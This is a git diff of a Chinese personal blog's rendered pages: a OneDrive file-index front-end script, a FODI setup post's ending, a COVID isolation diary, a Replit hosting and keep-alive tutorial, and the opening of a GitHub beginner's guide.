let maxIndex = paths.length - 1;
let currentTreeNode = createTreeNodeWrapper('arrow-dropdown',
'folder-open',
paths[maxIndex],
absolutePath(maxIndex)
);
files.files.forEach(file => {
if (!file.url) {
currentTreeNode.appendNode(createTreeNodeWrapper('arrow-dropright',
'folder',
file.name,
files.parent + '/' + file.name
));
}
});

for (let i = maxIndex - 1; i > 0; i--) {
const currentTreeNodeParentAbsolutePath = absolutePath(i);
let currentTreeNodeParent = createTreeNodeWrapper('arrow-dropdown',
'folder',
paths[i],
currentTreeNodeParentAbsolutePath
);
let cache = window.fileCache.get(currentTreeNodeParentAbsolutePath);
if (cache) {
cache.files.forEach(file => {
if (!file.url) {
if (file.name === paths[i + 1]) {
currentTreeNodeParent.appendNode(currentTreeNode);
} else {
currentTreeNodeParent.appendNode(createTreeNodeWrapper(
'arrow-dropright',
'folder',
file.name,
currentTreeNodeParentAbsolutePath + '/' + file.name
));
}
}
});
} else {
currentTreeNodeParent.appendNode(currentTreeNode);
}
currentTreeNode = currentTreeNodeParent;
}

const treeRoot = document.getElementById('tree-root');
treeRoot.innerHTML = '';
const cache = window.fileCache.get(window.api.root);
const currentNodeName = currentTreeNode.querySelector('.tree-node-name').innerText;
if (cache) {
cache.files.forEach(file => {
if (!file.url) {
if (file.name === currentNodeName) {
treeRoot.append(currentTreeNode);
} else {
treeRoot.append(createTreeNodeWrapper(
'arrow-dropright',
'folder',
file.name,
window.api.root + file.name
));
}
}
});
} else {
treeRoot.append(currentTreeNode);
}
}

async function renderReadme(path, url) {
const render = text => {
let markedText;
try {
markedText = marked(text, {
gfm: true,
highlight: (code, lang, callback) => {
return hljs.highlight(lang, code).value;
}
});
} catch (e) {
markedText = marked(text, {
gfm: true,
highlight: (code, lang, callback) => {
return hljs.highlight('bash', code).value;
}
});
}
if (window.backFordwardCache.current + '/README.md' === path) {
if (!window.backFordwardCache.preview) {
document.getElementById('readme').innerHTML = markedText;
document.querySelector('.markdown-body').style.display = 'block';
}
}
let cache = window.fileCache.get(path);
if (!cache || cache === true) {
window.fileCache.set(path, text);
}
};
let text = window.fileCache.get(path);
if (text === true) {
let cacheWaitReadmeFetch = setInterval(() => {
text = window.fileCache.get(path);
if (typeof text === 'object') {
render(text, path);
clearInterval(cacheWaitReadmeFetch);
} else if (text === false) {
clearInterval(cacheWaitReadmeFetch);
}
}, 100);
} else if (text) {
render(text, path);
} else {
window.fileCache.set(path, true);
sendRequest('GET', url, null, null, text => render(text, path), () => window.fileCache.set(path, false));
}
}

function handleEncryptedFolder(files) {
switchRightDisplay('encrypted');
const password = document.querySelector('.password');
const input = password.querySelector('input');
const button = password.querySelector('button');
const buttonParent = button.parentElement;
const buttonClone = button.cloneNode(true);
buttonParent.replaceChild(buttonClone, button);
input.placeholder = '请输入密码';
buttonClone.addEventListener('click', event => {
const passwd = input.value;
if (!input.value) {
return;
}
input.value = '';
input.placeholder = '正在验证..';
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(files.parent, passwd),
window.api.headers,
data => {
const newFiles = JSON.parse(data);
if (newFiles.encrypted) {
input.placeholder = '密码错误';
} else {
window.fileCache.set(newFiles.parent, newFiles);
fetchFileList(newFiles.parent);
}
},
() => window.fileCache.set(newFiles.parent, false)
);
});
}

function addPathListener(elem, path) {
elem.addEventListener('click', event => {
fetchFileList(path);
switchBackForwardStatus(path);
});
}

function addTreeNodeListener(elem, path) {
elem.addEventListener('click', event => {
fetchFileList(path);
switchBackForwardStatus(path);
});
}

function addFileListLineListener(elem, path, url, size) {
if (url) {
elem.addEventListener('click', event => {
window.backFordwardCache.preview = true;
const previewHandler = {
copyTextContent: (source, text) => {
let result = false;
let target = document.createElement('pre');
target.style.opacity = '0';
target.textContent = text || source.textContent;
document.body.appendChild(target);
try {
let range = document.createRange();
range.selectNode(target);
window.getSelection().removeAllRanges();
window.getSelection().addRange(range);
document.execCommand('copy');
window.getSelection().removeAllRanges();
result = true;
} catch (e) { }
document.body.removeChild(target);
return result;
},
fileType: suffix => {
Array.prototype.contains = function (search) {
const object = this;
for (const key in object) {
if (object.hasOwnProperty(key)) {
if ((eval('/' + search + '/i')).test(object[key])) {
return true;
}
}
}
return false;
};
if (['bmp', 'jpg', 'png', 'svg', 'webp', 'gif'].contains(suffix)) {
return 'image';
} else if (['mp3', 'flac', 'wav'].contains(suffix)) {
return 'audio';
} else if (['mp4', 'avi', 'mkv', 'flv', 'm3u8'].contains(suffix)) {
return 'video';
} else if (
[
'txt', 'js', 'json', 'css', 'html', 'java', 'c', 'cpp', 'php',
'cmd', 'ps1',
'bat', 'sh', 'py', 'go', 'asp',
].contains(suffix)
) {
return 'text';
} else if (
['doc', 'docx', 'ppt', 'pptx', 'xls', 'xlsx', 'mpp', 'rtf', 'vsd', 'vsdx'].contains(suffix)
) {
return 'office';
}
},
loadResource: (resource, callback) => {
let type;
switch (resource.split('.').pop()) {
case 'css':
type = 'link';
break;
case 'js':
type = 'script';
break;
}
let element = document.createElement(type);
let loaded = false;
if (typeof callback === 'function') {
element.onload = element.onreadystatechange = () => {
if (!loaded && (!element.readyState || /loaded|complete/.test(
element.readyState))) {
element.onload = element.onreadystatechange = null;
loaded = true;
callback();
}
}
}
if (type === 'link') {
element.href = resource;
element.rel = 'stylesheet';
} else {
element.src = resource;
}
document.getElementsByTagName('head')[0].appendChild(element);
},

createDplayer: (video, type, elem) => {
const host = '//s0.pstatp.com/cdn/expire-1-M';
const resources = [
'/dplayer/1.25.0/DPlayer.min.css',
'/dplayer/1.25.0/DPlayer.min.js',
'/hls.js/0.12.4/hls.light.min.js',
'/flv.js/1.5.0/flv.min.js'
];
let unloadedResourceCount = resources.length;
resources.forEach(resource => {
previewHandler.loadResource(host + resource, () => {
if (!--unloadedResourceCount) {
let option = {
url: video
}
if (type === 'flv') {
option.type = 'flv';
}
new DPlayer({
container: elem,
screenshot: true,
video: option
});
}
})
});
}
}
const suffix = path.split('.').pop();
let content = document.querySelector('.content');
switch (previewHandler.fileType(suffix)) {
case 'image':
let img = new Image();
img.style.maxWidth = '100%';
img.src = url;
let fancy = document.createElement('a');
fancy.setAttribute('data-fancybox', 'image');
fancy.href = img.src;
fancy.append(img);
content.innerHTML = '';
content.append(fancy);
break;
case 'audio':
let audio = new Audio();
audio.style.outline = 'none';
audio.preload = 'auto';
audio.controls = 'controls';
audio.style.width = '100%';
audio.src = url;
content.innerHTML = '';
content.append(audio);
break;
case 'video':
let video = document.createElement('div');
previewHandler.createDplayer(url, suffix, video);
content.innerHTML = '';
content.append(video);
break;
case 'text':
let pre = document.createElement('pre');
let code = document.createElement('code');
pre.append(code);
pre.style.background = 'rgb(245,245,245)';
pre.style['overflow-x'] = 'scroll';
pre.classList.add(suffix);
content.style['text-align'] = 'initial';
content.innerHTML = '';
content.append(pre);
sendRequest('GET', url, null, null, data => {
code.textContent = data;
if (size.indexOf(' B') >= 0 || size.indexOf(' KB') &&
size.split(' ')[0] < 100
) {
hljs.highlightBlock(pre);
}
});
break;
case 'office':
const officeOnline = '//view.officeapps.live.com/op/view.aspx?src=' + encodeURIComponent(url);
let div = document.createElement('div');
div.style.lineHeight = '2em';
div.style.background = 'rgba(218, 215, 215, 0.21)';
div.style.webkitTapHighlightColor = 'rgba(0, 0, 0, 0)';
div.style.cursor = 'pointer';
div.innerHTML = '新窗口打开';
div.addEventListener('click', () => window.open(officeOnline));
content.innerHTML = '';
content.appendChild(div);
if (document.body.clientWidth >= 480) {
let iframe = document.createElement('iframe');
iframe.width = '100%';
iframe.style.height = '41em';
iframe.style.border = '0';
iframe.src = officeOnline;
content.appendChild(iframe);
}
break;
default:
content.style['text-align'] = 'center';
content.innerHTML = '该文件不支持预览';
break;

}
document.querySelector('.file-name').innerHTML = path;
document.querySelector('.btn.download').addEventListener('click',
() => location.href = url
);
document.querySelector('.btn.quote').addEventListener('click',
event => {
previewHandler.copyTextContent(null, window.api.url + '?file=' + path);
const btn = document.querySelector('.btn.quote');
btn.innerHTML = '已复制';
setTimeout(() => btn.innerHTML = '引用', 250);
}
);
document.querySelector('.btn.share').addEventListener('click',
event => {
const sharePath = () => {
let arr = window.backFordwardCache.current.split('/');
let r = '';
for (let i = 1; i < arr.length; i++) {
r += '/' + arr[i];
}
return r;
}
previewHandler.copyTextContent(null,
window.location.origin +
window.location.pathname +
'?path=' + sharePath());
const btn = document.querySelector('.btn.share');
btn.innerHTML = '已复制';
setTimeout(() => btn.innerHTML = '分享', 250);
}
);
switchRightDisplay('preview');

let start = null;
let right = document.querySelector('.right');
const scrollToBottom = (timestamp) => {
if (!start) start = timestamp;
let progress = timestamp - start;
let last = right.scrollTop;
right.scrollTo(0, right.scrollTop + 14);
if (right.scrollTop !== last && progress < 1000 * 2) {
window.requestAnimationFrame(scrollToBottom);
}
};
window.requestAnimationFrame(scrollToBottom);
});
} else {
elem.addEventListener('click', event => {
fetchFileList(path);
switchBackForwardStatus(path);
});
}
}

function addBackForwardListener() {
document.getElementById('arrow-back').addEventListener('click', back);
document.getElementById('arrow-forward').addEventListener('click', forward);
document.querySelector('#main-page').addEventListener('click', () => {
fetchFileList(window.api.root);
switchBackForwardStatus(window.api.root);
});
}

function switchRightDisplay(display) {
if (display === 'preview') {
document.querySelector('.list-header').style.display = 'none';
document.querySelector('#file-list').style.display = 'none';
document.querySelector('.markdown-body').style.display = 'none';
document.querySelector('.password').style.display = 'none';
document.querySelector('.preview').style.display = 'initial'
} else if (display === 'encrypted') {
document.querySelector('.list-header').style.display = 'none';
document.querySelector('#file-list').style.display = 'none';
document.querySelector('.markdown-body').style.display = 'none';
document.querySelector('.preview').style.display = 'none';
document.querySelector('.password').style.display = 'initial';
document.querySelector('#readme').innerHTML = '';
let content = document.querySelector('.preview .content');
if (content) {
document.querySelector('.preview .content').innerHTML = '';
}
} else {
document.querySelector('.list-header').style.display = 'initial';
document.querySelector('#file-list').style.display = 'initial';
document.querySelector('.markdown-body').style.display = 'none'
document.querySelector('.preview').style.display = 'none';
document.querySelector('.password').style.display = 'none';
document.querySelector('#readme').innerHTML = '';
let content = document.querySelector('.preview .content');
if (content) {
document.querySelector('.preview .content').innerHTML = '';
}
}
}

function switchBackForwardStatus(path) {
if (path) {
window.backFordwardCache.deepest = path;
}
if (window.backFordwardCache.root !== window.backFordwardCache.current) {
window.backFordwardCache.backable = true;
document.getElementById('arrow-back').style.color = 'black';
} else {
window.backFordwardCache.backable = false;
document.getElementById('arrow-back').style.color = 'rgb(218, 215, 215)';
}
if (window.backFordwardCache.deepest !== window.backFordwardCache.current) {
window.backFordwardCache.forwardable = true;
document.getElementById('arrow-forward').style.color = 'black';
} else {
window.backFordwardCache.forwardable = false;
document.getElementById('arrow-forward').style.color = 'rgb(218, 215, 215)';
}
}

function back() {
if (!window.backFordwardCache.backable) {
return;
}
if (window.backFordwardCache.preview) {
fetchFileList(window.backFordwardCache.current);
} else {
let former = (() => {
let formerEndIndex = window.backFordwardCache.current.lastIndexOf('/');
return window.backFordwardCache.current.substring(0, formerEndIndex);
})();
former = former || window.api.root;
fetchFileList(former);
switchBackForwardStatus();
}
// console.log(window.backFordwardCache);
}

function forward() {
if (!window.backFordwardCache.forwardable) {
return
}
const current = window.backFordwardCache.current === window.api.root ? '' : window.backFordwardCache.current
const subLength = current ? current.length : 0;
const later = current + '/' +
window.backFordwardCache.deepest.substring(subLength).split('/')[1];
fetchFileList(later);
switchBackForwardStatus();
// console.log(window.backFordwardCache);
}

async function preCache(files, level) {
if (level > 2) return;
files.files.forEach(file => {
const parent = files.parent === '/' ? '' : files.parent
const path = parent + '/' + file.name;
if (!file.url) {
// console.log('caching ' + path + ', level ' + level);
window.fileCache.set(path, true);
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(path),
window.api.headers,
data => {
const files = JSON.parse(data);
window.fileCache.set(path, files);
preCache(files, level + 1);
},
() => window.fileCache.set(path, false)
);
} else if (file.name.split('.').pop() === 'md') {
// console.log('caching ' + path + ', level ' + level);
window.fileCache.set(path, true);
sendRequest('GET', file.url, null, null, text => window.fileCache.set(path, text), () => window.fileCache.set(path, false));
}
});
}

async function preCacheCheck(cache, path) {
cache.files.forEach(file => {
const prefix = path === window.api.root ? '' : path;
const nextPath = prefix + '/' + file.name;
const pathCache = window.fileCache.get(nextPath);
if (!file.url) {
if (!pathCache && pathCache !== true) {
// console.log('inner caching ' + nextPath);
window.fileCache.set(nextPath, true);
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(nextPath),
window.api.headers,
data => {
const files = JSON.parse(data);
window.fileCache.set(nextPath, files);
preCache(files, 0);
},
() => window.fileCache.set(nextPath, false)
);
}
} else if (file.name.split('.').pop() === 'md') {
if (!pathCache && pathCache !== true) {
// console.log('inner caching ' + nextPath);
window.fileCache.set(nextPath, true);
sendRequest('GET', file.url, null, null, text => window.fileCache.set(nextPath,
text), () => window.fileCache.set(nextPath,
false));
}
}
});
}

function fetchFileList(path) {
// console.log('fetching ' + path);
let loading = document.querySelector('.loading-wrapper');
loading.style.display = 'initial';
window.backFordwardCache.preview = false;
window.backFordwardCache.current = path;
let cache = window.fileCache.get(path);
if (cache === true) {
let cacheWaitFileListFetch = setInterval(() => {
cache = window.fileCache.get(path);
if (typeof cache === 'object') {
renderPage(null, cache);
preCacheCheck(cache, path);
clearInterval(cacheWaitFileListFetch);
} else if (cache === false) {
clearInterval(cacheWaitFileListFetch);
loading.style.color = 'red';
loading.innerText = 'Failed!';
setTimeout(() => {
loading.style.display = 'none';
loading.style.color = 'white';
loading.innerText = 'Loading..';
}, 2000);
}
}, 100);
} else if (cache) {
renderPage(null, cache);
preCacheCheck(cache, path);
} else {
window.fileCache.set(path, true);
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(path),
window.api.headers,
renderPage
);
}
}

document.addEventListener('DOMContentLoaded', () => {
document.title = window.GLOBAL_CONFIG.SITE_NAME;
document.querySelector('.site').textContent = window.GLOBAL_CONFIG.SITE_NAME;
window.api = {
root: '/',
url: window.GLOBAL_CONFIG.SCF_GATEWAY,
method: 'POST',
formatPayload: (path, passwd) => {
return '?path=' + encodeURIComponent(path) +
'&encrypted=' + window.api.accessToken.encrypted +
'&plain=' + window.api.accessToken.plain +
'&passwd=' + passwd;
},
headers: {
'Content-type': 'application/x-www-form-urlencoded'
}
}
window.backFordwardCache = {
root: window.api.root,
deepest: window.api.root,
current: window.api.root,
backable: false,
forwardable: false,
preview: false
}
window.fileCache = new Map();
const initialPath = new URLSearchParams(window.location.search).get('path') || window.api.root;
if (window.GLOBAL_CONFIG.IS_CF) {
window.api.accessToken = {
encrypted: '',
plain: ''
};
fetchFileList(initialPath);
addBackForwardListener();
} else {
sendRequest(window.api.method,
window.api.url + '?accessToken',
null,
window.api.headers,
data => {
const accessToken = JSON.parse(data);
window.api.accessToken = {
encrypted: accessToken.encrypted,
plain: accessToken.plain
};
fetchFileList(initialPath);
addBackForwardListener();
}
);
}
});
</script>
</head>

<body hidden="hidden">
<template id="tree-node-wrapper-template">
<div class="tree-node-wrapper">
<div class="tree-node">
<ion-icon></ion-icon>
<ion-icon></ion-icon>
<div class="tree-node-name"></div>
</div>
</div>
</template>
<template id="file-wrapper-templete">
<div class="row file-wrapper">
<div class="file">
<ion-icon></ion-icon>
<span class="name"></span>
<span class="time"></span>
<span class="size"></span>
</div>
</div>
</template>
<div class="loading-wrapper">
<div class="loading">Loading...</div>
</div>
<div class="header-wrapper">
<div class="header">
<ion-icon id="arrow-back" class="logo" name="arrow-back"></ion-icon>
<ion-icon id="arrow-forward" class="logo" name="arrow-forward"></ion-icon>
<ion-icon id="main-page" class="logo" name="folder"></ion-icon>
<div class="nav">
<span id="path">
</span>
</div>
<span class="site" id="nav-site">ONEDRIVE</span>
</div>
</div>
<div class="container">
<div class="main">
<div class="left">
<div id="tree-root">
</div>
</div>
<div class="right">
<div class="list-header">
<div class="row">
<div class="file">
<span class="name">ITEMS</span>
<span class="time">TIME</span>
<span class="size">SIZE</span>
</div>
</div>
</div>
<div id="file-list">
</div>
<div class="markdown-body">
<div id="readme">
</div>
</div>
<div class="preview">
<div class="info">
<div class="file-name"></div>
<div class="btn download">下载</div>
<div class="btn quote">引用</div>
<div class="btn share">分享</div>
</div>
<div class="content"></div>
</div>
<div class="password-wrapper">
<div class="password">
<input type="password">
<button>提交</button>
</div>
</div>
</div>
</div>
</div>
</body>

</html>
+

完成界面:
cloudflare editor

+
+

题外话:

+

那个获取refresh_token的网页并不是不可用,但是成功率巨低,我试了前前后后三十多次才一次成功……

+

heroku的登录需要科学上网,怎么科学上网就不要问我了,Google上大把……

+

以后发文件我会放到我的onedrive上,大家可以自取,地址是http://drive.bili33.top/,友链页面也有链接。

+

我自己部署的heroku项目不会开放给大家获取refresh_token,因为获取完一次要到后台删除refresh_token才能进行下一次的获取

+
Author: GamerNoTitle
Link: https://bili33.top/posts/FODI/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Fight-against-COVID19/index.html b/posts/Fight-against-COVID19/index.html new file mode 100644 index 0000000000..a10de73595 --- /dev/null +++ b/posts/Fight-against-COVID19/index.html @@ -0,0 +1,322 @@ +与新冠肺炎搏斗的那些日子 | GamerNoTitle + + + + + + + + + + + + + + + + + +

与新冠肺炎搏斗的那些日子

2022年12月18日下午,我感到十分地不适,在那之前,我们学院里有出现过COVID19(新冠肺炎)病例,所以整个学院都是在疫情管控状态,当我感受到我不适的那一刻我就知道,我很有可能是中招了。我第一次测量体温是37.4(刚刚过发烧线37.3),然后就把我丢到了临时的隔离房间去隔离去,说观察一个晚上再决定是否把我拉去隔离。

+

2022年12月18日晚,最后一次测量体温是38.1,此时的感觉是喉咙非常地干(话说这个自早上就是这样的了),而且四肢无力,特别是之前动过手术的左腿膝盖那个位置,很酸痛。

+

我就是带着各种不适的感觉睡了觉,期间起了三次,分别是十一点半、两点和四点

+

2022年12月19日,早上第一次测量体温,体温飙到了38.3度,这个被拉去隔离没跑了,早上四节课睡了两节课,中午就通知说去统一隔离点隔离,等中午过来以后第一次测了个体温,38.4,感觉头痛、四肢无力、喉咙干、有点流鼻涕、怕冷,来到隔离房间先倒头一睡,下午上课其实也心不在焉。等到了五点钟再测一次体温,好家伙直接给我干到了38.9度,稍微躺了躺感觉好了点,七点钟再测一次,体温下滑到了37.3度,虽然还是发烧,但是没那么严重了,症状轻了一些(当然也有可能是打了一下午COD的结果)

+

2022年12月20日,本来昨天是37.3的来着今早又到了38.1,说实在,感觉身体很酸痛,而且昨天的症状除了怕冷以外都还在,早上的第一二节课没有直播的那种网课,所以就开始了摸鱼模式,第三四节课概论说白了听了跟没听没区别。。。中午睡了个大觉,醒来已经14:44了(我们14:30下午上课),赶紧打开腾讯会议进去(至少是露个脸嘛),然后又开始摸鱼了(因为是中国近现代史纲要这门课程),下午测体温降到了37.4,然后跟群友玩了会Goose Goose Duck,刚开始玩也不同太懂怎么玩,玩完了等待吃饭

+

2022年12月21日,今天的体温稳定在37.4(发烧了,但是低烧),早上状态还行,就是喉咙痛,咳嗽,流涕;早上直接打开了FGO用脚本开始刷材料(太无聊了),一个手机开着电工网课,苏菲开着崩崩崩(FydeOS上装了一个),开始玩了起来。下午跟群友开始打CSGO官匹五黑,不能说我水平有多高,至少打得很快乐;晚上跟工作室的小伙伴一起打派派,第一把就成为了捍卫者(“这——是你的捍卫者”),后面就没吃过鸡了,不过体验还行,打下来发现头有点痛,唉不管了睡觉去了

+

2022年12月22日,早上没测体温,但是第一感觉是:头痛!小睡了一下,七点二十左右起的床,吃个早餐准备上课,这天没发烧,就是咳嗽很厉害,而且流鼻涕。

+

2022年12月23日,已经不怎么流鼻涕了,但是还是会咳嗽。晚上打了BF1,应该说其他小队太菜了嘛,我们四人小队拿第一(五人但是最后一个是几乎最后才加入的水友)。开了100个胶囊,发了俩视频,愉快的一天过去了

+

+

+

2022年12月24日,没怎么流鼻涕了,但是咳嗽,难受得很,头不痛。早上听到了一首很好听的V家曲(在下面),等待中午吃饭……

+ +
+

+        
+ + +

2022年12月25日,除了咳嗽基本没有什么症状了,好烦啊周日还要上课= =,唉没办法,期末考试提前一周了,慢慢来吧

+

2022年12月26日,上级好烦啊,做个展板要求又多,你又不给我工资,我还要为你累死累活真tm烦,太难了,明天抗原阴性就可以回去楼里隔离了,晚上继续战地1,第一次感到烂橘子比EA Desktop好用???!

+

2022年12月27日,抗原阴性,会楼里去了,早上玩了会死亡搁浅(键鼠玩的)。至此,我已经阳康啦!

+

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Fight-against-COVID19/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Full-use-of-replit/index.html b/posts/Full-use-of-replit/index.html new file mode 100644 index 0000000000..ec895e8ca5 --- /dev/null +++ b/posts/Full-use-of-replit/index.html @@ -0,0 +1,316 @@ +白嫖Repl.it的服务,让你的服务不间断运行 | GamerNoTitle + + + + + + + + + + + + + +

白嫖Repl.it的服务,让你的服务不间断运行

之前我用过很多的云平台,什么Azure啦,heroku啦,railway啦之类的,问题是这些平台有些太贵(Azure),有些改了免费策略已经不适合我们这些白嫖党使用(Heroku、Railway),我现在还在用的也就是Glitch(开多个账号,反正一个账号1000H/mo,就是配额太小了)

+

昨天突然想起telegram有个可以屏蔽垃圾私信的项目(具体可以看另一篇文章),然后又想起之前开发TGbot用过的replit,这不又开始了我的白嫖之旅

+
+
+

Repl.it官网:https://repl.it 或者 https://replit.com

+

BetterUptime官网:https://betteruptime.com/?ref=88fj (后面是AFF码,不想帮我AFF可以删掉)

+
+

基础使用

打开replit,使用你喜欢的方式登录(我用的是Github),然后就会进入主界面

+

+

在这里,我们可以点击左边的Create来创建一个实例,里面也有一些模板,可以根据自己的需要创建,我这里就选一个空项目(直接选到bash就行)了

+

进入到项目的编辑界面,在左边有个Repl Resources可以看到配额,这个配额确实不能说很多

+

+

我们点击左边Files右边的三个点,然后点击Show hidden files,把隐藏文件显示打开,肯定会用到的

+

+

下面会多出两个东西,一个是.replit,一个是replit.nix,其中,.replit里面存放的是项目的配置,包括启动命令啥的;而replit.nix里面存放的是nix包的信息,你可以在里面增添你想要的包

+

因为replit是不能使用sudo命令的(特殊手段另说),所以说想要安装新的软件只能通过nix包管理器来加

+

以pip的安装为例,首先我们在shell里面输入pip的时候会提示未安装,让我们选择需要的pip版本,按需要选择就行

+

+

然后nix包就会帮我们自动安装,在replit.nix里面也可以看到加入了一行

+
1
2
3
4
5
6
7
8
9
{ pkgs }: {
deps = [
pkgs.python39Packages.pip # 新加的一行
pkgs.unzip
pkgs.wget
pkgs.bashInteractive
pkgs.man
];
}
+ +

我这里上传一个biliCDN的主页作为演示,需要注意的是,可能是因为replit的nix路径配置问题,直接用pip安装的时候会出现权限不够的问题,所以我们要加入--target=这一个参数来指定安装的目录,我这里直接安装到了当前目录

+

虽然右边还是报了错,但是左边的目录里面可以看到轮子已经安装完了

+

+

这时候,修改一下main.sh里面的内容,改成能启动我们的服务(不建议改.replit里面的内容,容易因为$PATH里面没有加入环境变量而无法启动)

+
1
$ python app.py
+ +

启动完了以后,如果你的是HTTP服务的应用的话,会有一个webview窗口(如图),也会分配一个域名给你,不过可以绑定自定义域名,倒不如说建议绑定自定义域名,分配的repl.co实在是太慢了

+

+

应用保活

按照replit的规则,应用如果5分钟闲置就会被休眠(所以推荐在这上面部署HTTP服务,如果是TCP啥的容易活不了)

+

这里我用了网站监控平台BetterUptime,用法其实跟很多监控平台一样,就是加入自己的网站,然后定时监控

+

主要是监控的间隔时间要选择3分钟,要不然容易断掉

+

+

改完然后保存就行了,然后可以在Panel里面看到刚刚加进去的网站,然后放着不管就行了,只要没有报错的话就不会断掉的撒

+

费用

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Full-use-of-replit/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Github-Basic/index.html b/posts/Github-Basic/index.html new file mode 100644 index 0000000000..8179751c00 --- /dev/null +++ b/posts/Github-Basic/index.html @@ -0,0 +1,371 @@ +Github的基本用法 —— 给小白的新手教程 | GamerNoTitle + + + + + + + + + + + + + + + +

Github的基本用法 —— 给小白的新手教程

本文是写给初到Github的新手们的,其中大量为基础内容,如果你不是Github新手玩家你可以关闭本页面!

+
+ +

开头语

初来乍到的萌新们,刚到Github,你们是不是一脸懵逼?我是谁?我在哪?我要干哈?
Github是全球最大的 同性交友平台 代码托管平台,在这里你可以看到各种大佬,例如国内最大的MC红石服务器TIS插件开发组@TISUnion,或者是我们再熟悉不过了的微软Microsoft;当然不只是代码,Github里面也有各种文化仓库,这里举个很好玩的仓库作为例子——表情包仓库ChineseBQB,可谓是表情包的聚集地;Github上甚至还有你想不到的项目(是什么项目我就不说了,自己点我查看

+

接下来,我就来跟你讲讲Github怎么使用。话不多说,让我们开始吧

+
+

主页管理

当你注册完Github并登录后,Github会将你带到首页,这里有点类似很多服务器的仪表盘吧(如图)

+

Github主页

+

其中,左边一块是跟个人有关的,包括活动仓库和所在团队,活动仓库是你发过issue、PR(pull request),点过Watch、Star、Fork的仓库,触发以上操作(上面的操作后面会说)都会将你操作的仓库添加到左边的活动仓库列表,便于你进行寻找;所在团队则是当你创建/加入一个团队并被分配到Team(队,有点类似于部门)后显示

+

中间那一栏是与你有关的Github的活动,Github会在上面优先列出你近期的活动(近期具体是多少天以内就不知道了,没算过),下面则会列出所有与你有关的活动,顺序为从新到旧。你可以看到你Follow的人的动态,也可以看到与你有关的动态(如别人Follow你,Star/Fork你的仓库等等)

+

右边一栏则是被称为Github Explore(Github探索)的东西,Github会根据你在Github的仓库访问情况推荐你可能感兴趣的仓库,右边一栏会列出3个,点击右边那一栏的Explore More→则会打开一个新的页面,里面罗列出Github今日给你推荐的项目仓库

+

最上面一行是导航栏,导航栏在Github的任何页面都会展示。点击Pull Requests就会列出你与你有关的所有PR,同理,点击issue也是一样。Marketplace会打开Github的插件库,里面有各种插件供你选择,有免费的当然也有付费的;Explore则是会打开跟右边Explore More一样的界面;点击右上角的个人头像可以有更多的选项,点击会出来各种管理,这个我们到个人管理再讲。

+

(什么?你问我的导航栏为什么是彩色的?看来你是没用过Stylus呢,装完Stylus后安装这个样式就可以让Github变成彩色的了)

+
+

个人管理

当你点击导航栏里面的头像,Github会给你弹出下面这个列表

+

Github个人菜单

+

①表示你登录的用户,这里我是用自己的用户登录的,所以写的是GamerNoTitle

+

②是你的个人信息,点击后会进入个人信息页面

+

③是你的仓库,点击后会进入自己的仓库列表

+

④是项目列表,不过我自己没怎么用,而且本篇教程我也不打算讲Project

+

⑤是你Star过的项目,点击后会对你Star的项目进行列出的操作

+

⑥是用来发布代码片段的Gist,没啥用(因为你在GFW的保护下)

+

⑦、⑧是与Github有关的,能够帮助你使用Github并且获取Github的新功能

+

⑨是设置,设置我们晚点讲

+

⑩是登出,当然就是退出啦

+

我们进入Profile查看一下,这里会列出你的各种信息,包括你自己设定的Slogan、你的学校、你的地理位置、你的邮箱(可以设置多个,但只有一个对外展示,未登陆者不会显示)、你的网站

+

Github Profile

+

右边上面是你PIN(钉~)的仓库,如果你想让别人一到你的个人页面就能看到你的Breaking Repositories的话你可以把你的仓库PIN到上面来;下面的小方格则是一年内你的Contribution(贡献),Commit数量越多,绿色越深;再往下就是你的活动了

+

在PINNED的上面,从左到右的按钮依次是:仪表盘、仓库、项目、包、Star、追随者、你追随的人。Star可以在个人菜单(上面那张标了序号的图)里面点Your Star进入,同样,仓库和项目也可以

+

更详细的个人资料设置,可以在设置里面进行更改,其中可更改的包括你的用户名、邮箱等

+

Github Settings - Profile

+
+

仓库管理

仓库创建

当你决定在Github托管你自己的代码的时候,你就可以开始创建仓库了。不过在此之前,请确保你会使用Git,Git的简单用法下面会略微涉及,但本篇绝对不会教你《Git从入门到精通》,Git的用法请自行百度。

+

Github新建仓库

+

我们点击导航栏里面的+号,选择New repository,Github会带我们到新建仓库的页面。在Repository name中填入你想要的仓库名字,仓库名可以用英文和任意符号,甚至是中文(不推荐),但是在网址中无法被识别的字符会统一被替换成-,不管你有多少个连在一起(包括中文),例如我这里有个仓库名字是!@#$%^&*(),那么Github会让你创建你的仓库名为!@#$%^&*(),但是网址中只会变成https://github.com/:user/-,没错,Github直接用一个-代替了你的!@#$%^&*(),所以仓库命名我这里提出以下几点建议:

+
    +
  • 仓库名字尽量为英文
  • +
  • 仓库名中尽量不要含有特殊字符,如果需要空格的话将空格替换为-
  • +
  • 仓库名能够让别人一眼看出这个仓库是用来做什么的
  • +
+

遵循上面的这些建议,我相信你的仓库命名应该不会乱的

+

在下面有Description,填写了以后会在别人搜索或者是访问你的仓库的时候展示(如图)

+

Description搜索展示

+

Description仓库展示

+

再往下就是仓库的公开性,Public是公开,任何人都能访问你的仓库(只读);Private是私人仓库只有你和被你邀请的人才能够访问

+

再下去就是用一个README初始化你的仓库,如果勾选了Github会新建一个README来初始化你的仓库,但是README一般都是按下面的格式写的

+
1
# :Title
+ +

没错,就只有这一行,所以我一般不勾选

+

仓库初始化

这里我先新建一个名为Tutorial的仓库,公开仓库并且不勾选README初始化

+

Github仓库新仓库

+

如上图,我已经新建了一个船新的仓库我们现在要手动初始化一次

+

